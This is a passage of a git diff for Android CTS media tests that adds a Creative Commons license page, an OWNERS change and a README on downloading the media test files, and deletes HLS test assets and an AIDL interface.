+<img src="https://creativecommons.org/images/international/us.png" alt="" />
+<blockquote>
+CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES
+NOT PROVIDE LEGAL SERVICES. DISTRIBUTION OF THIS LICENSE
+DOES NOT CREATE AN ATTORNEY-CLIENT RELATIONSHIP. CREATIVE
+COMMONS PROVIDES THIS INFORMATION ON AN "AS-IS" BASIS.
+CREATIVE COMMONS MAKES NO WARRANTIES REGARDING THE
+INFORMATION PROVIDED, AND DISCLAIMS LIABILITY FOR DAMAGES
+RESULTING FROM ITS USE.
+</blockquote>
+<h3><em>License</em></h3>
+<p>THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS
+OF THIS CREATIVE COMMONS PUBLIC LICENSE ("CCPL" OR
+"LICENSE"). THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER
+APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS
+AUTHORIZED UNDER THIS LICENSE OR COPYRIGHT LAW IS
+PROHIBITED.</p>
+<p>BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU
+ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENSE.
+TO THE EXTENT THIS LICENSE MAY BE CONSIDERED TO BE A
+CONTRACT, THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE
+IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND
+CONDITIONS.</p>
+<p><strong>1. Definitions</strong></p>
+<ol type="a">
+<li><strong>"Collective Work"</strong> means a work, such
+as a periodical issue, anthology or encyclopedia, in
+which the Work in its entirety in unmodified form, along
+with one or more other contributions, constituting
+separate and independent works in themselves, are
+assembled into a collective whole. A work that
+constitutes a Collective Work will not be considered a
+Derivative Work (as defined below) for the purposes of
+this License.</li>
+<li><strong>"Derivative Work"</strong> means a work based
+upon the Work or upon the Work and other pre-existing
+works, such as a translation, musical arrangement,
+dramatization, fictionalization, motion picture version,
+sound recording, art reproduction, abridgment,
+condensation, or any other form in which the Work may be
+recast, transformed, or adapted, except that a work that
+constitutes a Collective Work will not be considered a
+Derivative Work for the purpose of this License. For the
+avoidance of doubt, where the Work is a musical
+composition or sound recording, the synchronization of
+the Work in timed-relation with a moving image
+("synching") will be considered a Derivative Work for the
+purpose of this License.</li>
+<li><strong>"Licensor"</strong> means the individual,
+individuals, entity or entities that offers the Work
+under the terms of this License.</li>
+<li><strong>"Original Author"</strong> means the
+individual, individuals, entity or entities who created
+the Work.</li>
+<li><strong>"Work"</strong> means the copyrightable work
+of authorship offered under the terms of this
+License.</li>
+<li><strong>"You"</strong> means an individual or entity
+exercising rights under this License who has not
+previously violated the terms of this License with
+respect to the Work, or who has received express
+permission from the Licensor to exercise rights under
+this License despite a previous violation.</li>
+</ol>
+<p><strong>2. Fair Use Rights.</strong> Nothing in this
+license is intended to reduce, limit, or restrict any
+rights arising from fair use, first sale or other
+limitations on the exclusive rights of the copyright owner
+under copyright law or other applicable laws.</p>
+<p><strong>3. License Grant.</strong> Subject to the terms
+and conditions of this License, Licensor hereby grants You
+a worldwide, royalty-free, non-exclusive, perpetual (for
+the duration of the applicable copyright) license to
+exercise the rights in the Work as stated below:</p>
+<ol type="a">
+<li>to reproduce the Work, to incorporate the Work into
+one or more Collective Works, and to reproduce the Work
+as incorporated in the Collective Works;</li>
+<li>to create and reproduce Derivative Works provided
+that any such Derivative Work, including any translation
+in any medium, takes reasonable steps to clearly label,
+demarcate or otherwise identify that changes were made to
+the original Work. For example, a translation could be
+marked "The original work was translated from English to
+Spanish," or a modification could indicate "The original
+work has been modified.";;</li>
+<li>to distribute copies or phonorecords of, display
+publicly, perform publicly, and perform publicly by means
+of a digital audio transmission the Work including as
+incorporated in Collective Works;</li>
+<li>to distribute copies or phonorecords of, display
+publicly, perform publicly, and perform publicly by means
+of a digital audio transmission Derivative Works.</li>
+<li>
+<p>For the avoidance of doubt, where the Work is a
+musical composition:</p>
+<ol type="i">
+<li><strong>Performance Royalties Under Blanket
+Licenses</strong>. Licensor waives the exclusive
+right to collect, whether individually or, in the
+event that Licensor is a member of a performance
+rights society (e.g. ASCAP, BMI, SESAC), via that
+society, royalties for the public performance or
+public digital performance (e.g. webcast) of the
+Work.</li>
+<li><strong>Mechanical Rights and Statutory
+Royalties</strong>. Licensor waives the exclusive
+right to collect, whether individually or via a music
+rights agency or designated agent (e.g. Harry Fox
+Agency), royalties for any phonorecord You create
+from the Work ("cover version") and distribute,
+subject to the compulsory license created by 17 USC
+Section 115 of the US Copyright Act (or the
+equivalent in other jurisdictions).</li>
+</ol>
+</li>
+<li><strong>Webcasting Rights and Statutory
+Royalties</strong>. For the avoidance of doubt, where the
+Work is a sound recording, Licensor waives the exclusive
+right to collect, whether individually or via a
+performance-rights society (e.g. SoundExchange),
+royalties for the public digital performance (e.g.
+webcast) of the Work, subject to the compulsory license
+created by 17 USC Section 114 of the US Copyright Act (or
+the equivalent in other jurisdictions).</li>
+</ol>
+<p>The above rights may be exercised in all media and
+formats whether now known or hereafter devised. The above
+rights include the right to make such modifications as are
+technically necessary to exercise the rights in other media
+and formats. All rights not expressly granted by Licensor
+are hereby reserved.</p>
+<p><strong>4. Restrictions.</strong> The license granted in
+Section 3 above is expressly made subject to and limited by
+the following restrictions:</p>
+<ol type="a">
+<li>You may distribute, publicly display, publicly
+perform, or publicly digitally perform the Work only
+under the terms of this License, and You must include a
+copy of, or the Uniform Resource Identifier for, this
+License with every copy or phonorecord of the Work You
+distribute, publicly display, publicly perform, or
+publicly digitally perform. You may not offer or impose
+any terms on the Work that restrict the terms of this
+License or the ability of a recipient of the Work to
+exercise the rights granted to that recipient under the
+terms of the License. You may not sublicense the Work.
+You must keep intact all notices that refer to this
+License and to the disclaimer of warranties. When You
+distribute, publicly display, publicly perform, or
+publicly digitally perform the Work, You may not impose
+any technological measures on the Work that restrict the
+ability of a recipient of the Work from You to exercise
+the rights granted to that recipient under the terms of
+the License. This Section 4(a) applies to the Work as
+incorporated in a Collective Work, but this does not
+require the Collective Work apart from the Work itself to
+be made subject to the terms of this License. If You
+create a Collective Work, upon notice from any Licensor
+You must, to the extent practicable, remove from the
+Collective Work any credit as required by Section 4(b),
+as requested. If You create a Derivative Work, upon
+notice from any Licensor You must, to the extent
+practicable, remove from the Derivative Work any credit
+as required by Section 4(b), as requested.</li>
+<li>If You distribute, publicly display, publicly
+perform, or publicly digitally perform the Work (as
+defined in Section 1 above) or any Derivative Works (as
+defined in Section 1 above) or Collective Works (as
+defined in Section 1 above), You must, unless a request
+has been made pursuant to Section 4(a), keep intact all
+copyright notices for the Work and provide, reasonable to
+the medium or means You are utilizing: (i) the name of
+the Original Author (or pseudonym, if applicable) if
+supplied, and/or (ii) if the Original Author and/or
+Licensor designate another party or parties (e.g. a
+sponsor institute, publishing entity, journal) for
+attribution ("Attribution Parties") in Licensor's
+copyright notice, terms of service or by other reasonable
+means, the name of such party or parties; the title of
+the Work if supplied; to the extent reasonably
+practicable, the Uniform Resource Identifier, if any,
+that Licensor specifies to be associated with the Work,
+unless such URI does not refer to the copyright notice or
+licensing information for the Work; and, consistent with
+Section 3(b) in the case of a Derivative Work, a credit
+identifying the use of the Work in the Derivative Work
+(e.g., "French translation of the Work by Original
+Author," or "Screenplay based on original Work by
+Original Author"). The credit required by this Section
+4(b) may be implemented in any reasonable manner;
+provided, however, that in the case of a Derivative Work
+or Collective Work, at a minimum such credit will appear,
+if a credit for all contributing authors of the
+Derivative Work or Collective Work appears, then as part
+of these credits and in a manner at least as prominent as
+the credits for the other contributing authors. For the
+avoidance of doubt, You may only use the credit required
+by this Section for the purpose of attribution in the
+manner set out above and, by exercising Your rights under
+this License, You may not implicitly or explicitly assert
+or imply any connection with, sponsorship or endorsement
+by the Original Author, Licensor and/or Attribution
+Parties, as appropriate, of You or Your use of the Work,
+without the separate, express prior written permission of
+the Original Author, Licensor and/or Attribution
+Parties.</li>
+</ol>
+<p><strong>5. Representations, Warranties and
+Disclaimer</strong></p>
+<p>UNLESS OTHERWISE MUTUALLY AGREED TO BY THE PARTIES IN
+WRITING, LICENSOR OFFERS THE WORK AS-IS AND ONLY TO THE
+EXTENT OF ANY RIGHTS HELD IN THE LICENSED WORK BY THE
+LICENSOR. THE LICENSOR MAKES NO REPRESENTATIONS OR
+WARRANTIES OF ANY KIND CONCERNING THE WORK, EXPRESS,
+IMPLIED, STATUTORY OR OTHERWISE, INCLUDING, WITHOUT
+LIMITATION, WARRANTIES OF TITLE, MARKETABILITY,
+MERCHANTIBILITY, FITNESS FOR A PARTICULAR PURPOSE,
+NONINFRINGEMENT, OR THE ABSENCE OF LATENT OR OTHER DEFECTS,
+ACCURACY, OR THE PRESENCE OF ABSENCE OF ERRORS, WHETHER OR
+NOT DISCOVERABLE. SOME JURISDICTIONS DO NOT ALLOW THE
+EXCLUSION OF IMPLIED WARRANTIES, SO SUCH EXCLUSION MAY NOT
+APPLY TO YOU.</p>
+<p><strong>6. Limitation on Liability.</strong> EXCEPT TO
+THE EXTENT REQUIRED BY APPLICABLE LAW, IN NO EVENT WILL
+LICENSOR BE LIABLE TO YOU ON ANY LEGAL THEORY FOR ANY
+SPECIAL, INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY
+DAMAGES ARISING OUT OF THIS LICENSE OR THE USE OF THE WORK,
+EVEN IF LICENSOR HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.</p>
+<p><strong>7. Termination</strong></p>
+<ol type="a">
+<li>This License and the rights granted hereunder will
+terminate automatically upon any breach by You of the
+terms of this License. Individuals or entities who have
+received Derivative Works (as defined in Section 1 above)
+or Collective Works (as defined in Section 1 above) from
+You under this License, however, will not have their
+licenses terminated provided such individuals or entities
+remain in full compliance with those licenses. Sections
+1, 2, 5, 6, 7, and 8 will survive any termination of this
+License.</li>
+<li>Subject to the above terms and conditions, the
+license granted here is perpetual (for the duration of
+the applicable copyright in the Work). Notwithstanding
+the above, Licensor reserves the right to release the
+Work under different license terms or to stop
+distributing the Work at any time; provided, however that
+any such election will not serve to withdraw this License
+(or any other license that has been, or is required to
+be, granted under the terms of this License), and this
+License will continue in full force and effect unless
+terminated as stated above.</li>
+</ol>
+ <p><strong>8. Miscellaneous</strong></p>
+<ol type="a">
+<li>Each time You distribute or publicly digitally
+perform the Work (as defined in Section 1 above) or a
+Collective Work (as defined in Section 1 above), the
+Licensor offers to the recipient a license to the Work on
+the same terms and conditions as the license granted to
+You under this License.</li>
+<li>Each time You distribute or publicly digitally
+perform a Derivative Work, Licensor offers to the
+recipient a license to the original Work on the same
+terms and conditions as the license granted to You under
+this License.</li>
+<li>If any provision of this License is invalid or
+unenforceable under applicable law, it shall not affect
+the validity or enforceability of the remainder of the
+terms of this License, and without further action by the
+parties to this agreement, such provision shall be
+reformed to the minimum extent necessary to make such
+provision valid and enforceable.</li>
+<li>No term or provision of this License shall be deemed
+waived and no breach consented to unless such waiver or
+consent shall be in writing and signed by the party to be
+charged with such waiver or consent.</li>
+<li>This License constitutes the entire agreement between
+the parties with respect to the Work licensed here. There
+are no understandings, agreements or representations with
+respect to the Work not specified here. Licensor shall
+not be bound by any additional provisions that may appear
+in any communication from You. This License may not be
+modified without the mutual written agreement of the
+Licensor and You.</li>
+</ol>
+
+<blockquote>
+<h3>Creative Commons Notice</h3>
+<p>Creative Commons is not a party to this License, and
+makes no warranty whatsoever in connection with the Work.
+Creative Commons will not be liable to You or any party
+on any legal theory for any damages whatsoever, including
+without limitation any general, special, incidental or
+consequential damages arising in connection to this
+license. Notwithstanding the foregoing two (2) sentences,
+if Creative Commons has expressly identified itself as
+the Licensor hereunder, it shall have all rights and
+obligations of Licensor.</p>
+<p>Except for the limited purpose of indicating to the
+public that the Work is licensed under the CCPL, Creative
+Commons does not authorize the use by either party of the
+trademark "Creative Commons" or any related trademark or
+logo of Creative Commons without the prior written
+consent of Creative Commons. Any permitted use will be in
+compliance with Creative Commons' then-current trademark
+usage guidelines, as may be published on its website or
+otherwise made available upon request from time to time.
+For the avoidance of doubt, this trademark restriction
+does not form part of the License.</p>
+<p>Creative Commons may be contacted at <a href="https://creativecommons.org/">https://creativecommons.org/</a>.</p>
+</blockquote>
+</div>
+</div>
+<div id="deed-foot">
+<p id="footer"><a href="./">« Back to Commons Deed</a></p>
+</div>
+</div>
+</body>
+</html>
diff --git a/tests/tests/media/OWNERS b/tests/tests/media/OWNERS
index 6775f87..77fdb47 100644
--- a/tests/tests/media/OWNERS
+++ b/tests/tests/media/OWNERS
@@ -1,15 +1,3 @@
 # Bug component: 1344
-include ../../media/OWNERS
-elaurent@google.com
+include platform/frameworks/av:/media/janitors/media_leads_OWNERS
 etalvala@google.com
-hdmoon@google.com
-hunga@google.com
-insun@google.com
-jaewan@google.com
-jinpark@google.com
-jmtrivi@google.com
-jsharkey@android.com
-sungsoo@google.com
-
-# go/android-fwk-media-solutions for info on areas of ownership.
-include platform/frameworks/av:/media/janitors/media_solutions_OWNERS
diff --git a/tests/tests/media/README.md b/tests/tests/media/README.md
new file mode 100644
index 0000000..6893c2c
--- /dev/null
+++ b/tests/tests/media/README.md
@@ -0,0 +1,48 @@
+## Media CTS Tests
+The tests are organized into following testcases
+
+| TestCase | Description |
+|------------------------|----------------------|
+| CtsMediaAudioTestCases | Audio related tests |
+| CtsMediaCodecTestCases | MediaCodec related tests, for combinations decode/encode |
+| CtsMediaDecoderTestCases | MediaCodec related tests, for decoding |
+| CtsMediaEncoderTestCases | MediaCodec related tests, for encoding |
+| CtsMediaDrmFrameworkTestCases | Media DRM related tests |
+| CtsMediaExtractorTestCases | MediaExtractor related tests |
+| CtsMediaMuxerTestCases | MediaMuxer related tests  |
+| CtsMediaPlayerTestCases | MediaPlayer related tests  |
+| CtsMediaRecorderTestCases | MediaRecorder related tests  |
+| CtsMediaMiscTestCases | All other media tests  |
+
+
+## Test files used in the tests
+The test files used by the test suite are available on Google cloud
+and these are downloaded automatically while running tests.
+
+Link to the zip files can be found in DynamicConfig.xml in each of the subdirectories
+listed as "media_files_url"
+
+Manual installation of these can be done using copy_all_media.sh script in this directory.
+
+Each of the sub-folders has a copy_media.sh that will download and install the assets
+relevant to that test.
+
+The copy_all_media.sh in this folder will invoke all of those subsidiary copy_media.sh scripts
+so that all assets for all of the media tests are on the device.
+
+## Troubleshooting
+
+#### Too slow / no progress in the first run
+Zip containing the media files are quite large and first execution of the test
+(after each time the test is updated to download a different zip file) takes
+considerable amount of time (30 minutes or more) to download and push the media files.
+
+#### File not found in /sdcard/test/CtsMedia* failures
+If the device contains an incomplete directory (from previous incomplete execution of the tests,
+Ctrl-C during earlier tests etc),
+the test framework doesn't push the remaining files to device.
+This leads to tests failing with file not found errors.
+
+Solution in such cases is to remove the /sdcard/test/CtsMedia* folder on
+the device and executing the atest command again, or running ./tests/tests/media/copy_media.sh to
+manually download and copy the test files to the device before running the tests.
diff --git a/tests/tests/media/aidl/android/media/cts/IRemoteService.aidl b/tests/tests/media/aidl/android/media/cts/IRemoteService.aidl
deleted file mode 100644
index 5aacc30..0000000
--- a/tests/tests/media/aidl/android/media/cts/IRemoteService.aidl
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.os.Bundle;
-
-interface IRemoteService {
-    boolean run(int testId, int step, in Bundle args);
-}
diff --git a/tests/tests/media/assets/audio_only/00.aac b/tests/tests/media/assets/audio_only/00.aac
deleted file mode 100644
index 1c620bf..0000000
--- a/tests/tests/media/assets/audio_only/00.aac
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/00.key b/tests/tests/media/assets/audio_only/00.key
deleted file mode 100644
index eb61918..0000000
--- a/tests/tests/media/assets/audio_only/00.key
+++ /dev/null
@@ -1 +0,0 @@
-ëÝbñhÒ{hï*üä®<
\ No newline at end of file
diff --git a/tests/tests/media/assets/audio_only/01.aac b/tests/tests/media/assets/audio_only/01.aac
deleted file mode 100644
index dc23c48..0000000
--- a/tests/tests/media/assets/audio_only/01.aac
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/02.aac b/tests/tests/media/assets/audio_only/02.aac
deleted file mode 100644
index 1dd827d..0000000
--- a/tests/tests/media/assets/audio_only/02.aac
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/03.aac b/tests/tests/media/assets/audio_only/03.aac
deleted file mode 100644
index f6fd0c0..0000000
--- a/tests/tests/media/assets/audio_only/03.aac
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/04.aac b/tests/tests/media/assets/audio_only/04.aac
deleted file mode 100644
index 60d0aef..0000000
--- a/tests/tests/media/assets/audio_only/04.aac
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/05.aac b/tests/tests/media/assets/audio_only/05.aac
deleted file mode 100644
index 2875292..0000000
--- a/tests/tests/media/assets/audio_only/05.aac
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/06.aac b/tests/tests/media/assets/audio_only/06.aac
deleted file mode 100644
index dd0413f..0000000
--- a/tests/tests/media/assets/audio_only/06.aac
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/07.aac b/tests/tests/media/assets/audio_only/07.aac
deleted file mode 100644
index 5d63cef..0000000
--- a/tests/tests/media/assets/audio_only/07.aac
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/08.aac b/tests/tests/media/assets/audio_only/08.aac
deleted file mode 100644
index 402cd72..0000000
--- a/tests/tests/media/assets/audio_only/08.aac
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/09.aac b/tests/tests/media/assets/audio_only/09.aac
deleted file mode 100644
index 587b910..0000000
--- a/tests/tests/media/assets/audio_only/09.aac
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/10.aac b/tests/tests/media/assets/audio_only/10.aac
deleted file mode 100644
index db8c5b8..0000000
--- a/tests/tests/media/assets/audio_only/10.aac
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/11.aac b/tests/tests/media/assets/audio_only/11.aac
deleted file mode 100644
index 707dd38..0000000
--- a/tests/tests/media/assets/audio_only/11.aac
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/12.aac b/tests/tests/media/assets/audio_only/12.aac
deleted file mode 100644
index 5ebe080..0000000
--- a/tests/tests/media/assets/audio_only/12.aac
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/index.m3u8 b/tests/tests/media/assets/audio_only/index.m3u8
deleted file mode 100644
index fedfafa..0000000
--- a/tests/tests/media/assets/audio_only/index.m3u8
+++ /dev/null
@@ -1,31 +0,0 @@
-#EXTM3U
-#EXT-X-INDEPENDENT-SEGMENTS
-#EXT-X-VERSION:5
-#EXT-X-TARGETDURATION:10
-#EXT-X-PLAYLIST-TYPE:VOD
-#EXT-X-KEY:METHOD=SAMPLE-AES,URI="00.key",IV=0x76fb8e8c870c8f95234d6c40aac52902
-#EXTINF:9.984,
-00.aac
-#EXTINF:9.984,
-01.aac
-#EXTINF:9.984,
-02.aac
-#EXTINF:9.984,
-03.aac
-#EXTINF:9.984,
-04.aac
-#EXTINF:9.984,
-05.aac
-#EXTINF:9.984,
-06.aac
-#EXTINF:9.984,
-07.aac
-#EXTINF:9.984,
-08.aac
-#EXTINF:9.984,
-09.aac
-#EXTINF:9.984,
-10.aac
-#EXTINF:9.984,
-11.aac
-#EXT-X-ENDLIST
\ No newline at end of file
diff --git a/tests/tests/media/assets/fileSequence0.ts b/tests/tests/media/assets/fileSequence0.ts
deleted file mode 100644
index 48f2bcd..0000000
--- a/tests/tests/media/assets/fileSequence0.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/fileSequence1.ts b/tests/tests/media/assets/fileSequence1.ts
deleted file mode 100644
index 737fbd0..0000000
--- a/tests/tests/media/assets/fileSequence1.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls.m3u8 b/tests/tests/media/assets/hls.m3u8
deleted file mode 100644
index 127574a..0000000
--- a/tests/tests/media/assets/hls.m3u8
+++ /dev/null
@@ -1,8 +0,0 @@
-#EXTM3U
-#EXT-X-TARGETDURATION:10
-#EXT-X-MEDIA-SEQUENCE:0
-#EXTINF:10, no desc
-segment000000.ts
-#EXTINF:10, no desc
-segment000001.ts
-#EXT-X-ENDLIST
diff --git a/tests/tests/media/assets/hls_variant/165340/00.ts b/tests/tests/media/assets/hls_variant/165340/00.ts
deleted file mode 100644
index 8a95fc5..0000000
--- a/tests/tests/media/assets/hls_variant/165340/00.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/01.ts b/tests/tests/media/assets/hls_variant/165340/01.ts
deleted file mode 100644
index 7983a01..0000000
--- a/tests/tests/media/assets/hls_variant/165340/01.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/02.ts b/tests/tests/media/assets/hls_variant/165340/02.ts
deleted file mode 100644
index 2582937..0000000
--- a/tests/tests/media/assets/hls_variant/165340/02.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/03.ts b/tests/tests/media/assets/hls_variant/165340/03.ts
deleted file mode 100644
index 4e4711e..0000000
--- a/tests/tests/media/assets/hls_variant/165340/03.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/04.ts b/tests/tests/media/assets/hls_variant/165340/04.ts
deleted file mode 100644
index e210aac..0000000
--- a/tests/tests/media/assets/hls_variant/165340/04.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/05.ts b/tests/tests/media/assets/hls_variant/165340/05.ts
deleted file mode 100644
index 5d445bf..0000000
--- a/tests/tests/media/assets/hls_variant/165340/05.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/06.ts b/tests/tests/media/assets/hls_variant/165340/06.ts
deleted file mode 100644
index e83d2a3..0000000
--- a/tests/tests/media/assets/hls_variant/165340/06.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/07.ts b/tests/tests/media/assets/hls_variant/165340/07.ts
deleted file mode 100644
index 37322c0..0000000
--- a/tests/tests/media/assets/hls_variant/165340/07.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/08.ts b/tests/tests/media/assets/hls_variant/165340/08.ts
deleted file mode 100644
index 25f9f00..0000000
--- a/tests/tests/media/assets/hls_variant/165340/08.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/09.ts b/tests/tests/media/assets/hls_variant/165340/09.ts
deleted file mode 100644
index 2debe48..0000000
--- a/tests/tests/media/assets/hls_variant/165340/09.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/10.ts b/tests/tests/media/assets/hls_variant/165340/10.ts
deleted file mode 100644
index 3eed736..0000000
--- a/tests/tests/media/assets/hls_variant/165340/10.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/11.ts b/tests/tests/media/assets/hls_variant/165340/11.ts
deleted file mode 100644
index 7ae79e9..0000000
--- a/tests/tests/media/assets/hls_variant/165340/11.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/12.ts b/tests/tests/media/assets/hls_variant/165340/12.ts
deleted file mode 100644
index 4153626..0000000
--- a/tests/tests/media/assets/hls_variant/165340/12.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/13.ts b/tests/tests/media/assets/hls_variant/165340/13.ts
deleted file mode 100644
index 027adf4..0000000
--- a/tests/tests/media/assets/hls_variant/165340/13.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/14.ts b/tests/tests/media/assets/hls_variant/165340/14.ts
deleted file mode 100644
index ea7d0be..0000000
--- a/tests/tests/media/assets/hls_variant/165340/14.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/15.ts b/tests/tests/media/assets/hls_variant/165340/15.ts
deleted file mode 100644
index 48c92c9..0000000
--- a/tests/tests/media/assets/hls_variant/165340/15.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/16.ts b/tests/tests/media/assets/hls_variant/165340/16.ts
deleted file mode 100644
index 19f0ebd..0000000
--- a/tests/tests/media/assets/hls_variant/165340/16.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/17.ts b/tests/tests/media/assets/hls_variant/165340/17.ts
deleted file mode 100644
index 7d4897d..0000000
--- a/tests/tests/media/assets/hls_variant/165340/17.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/18.ts b/tests/tests/media/assets/hls_variant/165340/18.ts
deleted file mode 100644
index 47431d0..0000000
--- a/tests/tests/media/assets/hls_variant/165340/18.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/19.ts b/tests/tests/media/assets/hls_variant/165340/19.ts
deleted file mode 100644
index 9e98a4f..0000000
--- a/tests/tests/media/assets/hls_variant/165340/19.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/20.ts b/tests/tests/media/assets/hls_variant/165340/20.ts
deleted file mode 100644
index e674296..0000000
--- a/tests/tests/media/assets/hls_variant/165340/20.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/21.ts b/tests/tests/media/assets/hls_variant/165340/21.ts
deleted file mode 100644
index 2affe9d..0000000
--- a/tests/tests/media/assets/hls_variant/165340/21.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/22.ts b/tests/tests/media/assets/hls_variant/165340/22.ts
deleted file mode 100644
index 0634296..0000000
--- a/tests/tests/media/assets/hls_variant/165340/22.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/23.ts b/tests/tests/media/assets/hls_variant/165340/23.ts
deleted file mode 100644
index faf9ca8..0000000
--- a/tests/tests/media/assets/hls_variant/165340/23.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/24.ts b/tests/tests/media/assets/hls_variant/165340/24.ts
deleted file mode 100644
index 3b3f4d7..0000000
--- a/tests/tests/media/assets/hls_variant/165340/24.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/index.m3u8 b/tests/tests/media/assets/hls_variant/165340/index.m3u8
deleted file mode 100644
index f36f33d..0000000
--- a/tests/tests/media/assets/hls_variant/165340/index.m3u8
+++ /dev/null
@@ -1,53 +0,0 @@
-#EXTM3U
-#EXT-X-VERSION:3
-#EXT-X-TARGETDURATION:5
-#EXT-X-PLAYLIST-TYPE:VOD
-#EXTINF:5,
-00.ts
-#EXTINF:5,
-01.ts
-#EXTINF:5,
-02.ts
-#EXTINF:5,
-03.ts
-#EXTINF:5,
-04.ts
-#EXTINF:5,
-05.ts
-#EXTINF:5,
-06.ts
-#EXTINF:5,
-07.ts
-#EXTINF:5,
-08.ts
-#EXTINF:5,
-09.ts
-#EXTINF:5,
-10.ts
-#EXTINF:5,
-11.ts
-#EXTINF:5,
-12.ts
-#EXTINF:5,
-13.ts
-#EXTINF:5,
-14.ts
-#EXTINF:5,
-15.ts
-#EXTINF:5,
-16.ts
-#EXTINF:5,
-17.ts
-#EXTINF:5,
-18.ts
-#EXTINF:5,
-19.ts
-#EXTINF:5,
-20.ts
-#EXTINF:5,
-21.ts
-#EXTINF:5,
-22.ts
-#EXTINF:5,
-23.ts
-#EXT-X-ENDLIST
\ No newline at end of file
diff --git a/tests/tests/media/assets/hls_variant/1676816/00.ts b/tests/tests/media/assets/hls_variant/1676816/00.ts
deleted file mode 100644
index aba6f79..0000000
--- a/tests/tests/media/assets/hls_variant/1676816/00.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/01.ts b/tests/tests/media/assets/hls_variant/1676816/01.ts
deleted file mode 100644
index 18c382b..0000000
--- a/tests/tests/media/assets/hls_variant/1676816/01.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/02.ts b/tests/tests/media/assets/hls_variant/1676816/02.ts
deleted file mode 100644
index 8b45649..0000000
--- a/tests/tests/media/assets/hls_variant/1676816/02.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/03.ts b/tests/tests/media/assets/hls_variant/1676816/03.ts
deleted file mode 100644
index 5a1dee6..0000000
--- a/tests/tests/media/assets/hls_variant/1676816/03.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/04.ts b/tests/tests/media/assets/hls_variant/1676816/04.ts
deleted file mode 100644
index 69c4dfa..0000000
--- a/tests/tests/media/assets/hls_variant/1676816/04.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/05.ts b/tests/tests/media/assets/hls_variant/1676816/05.ts
deleted file mode 100644
index bd1e938..0000000
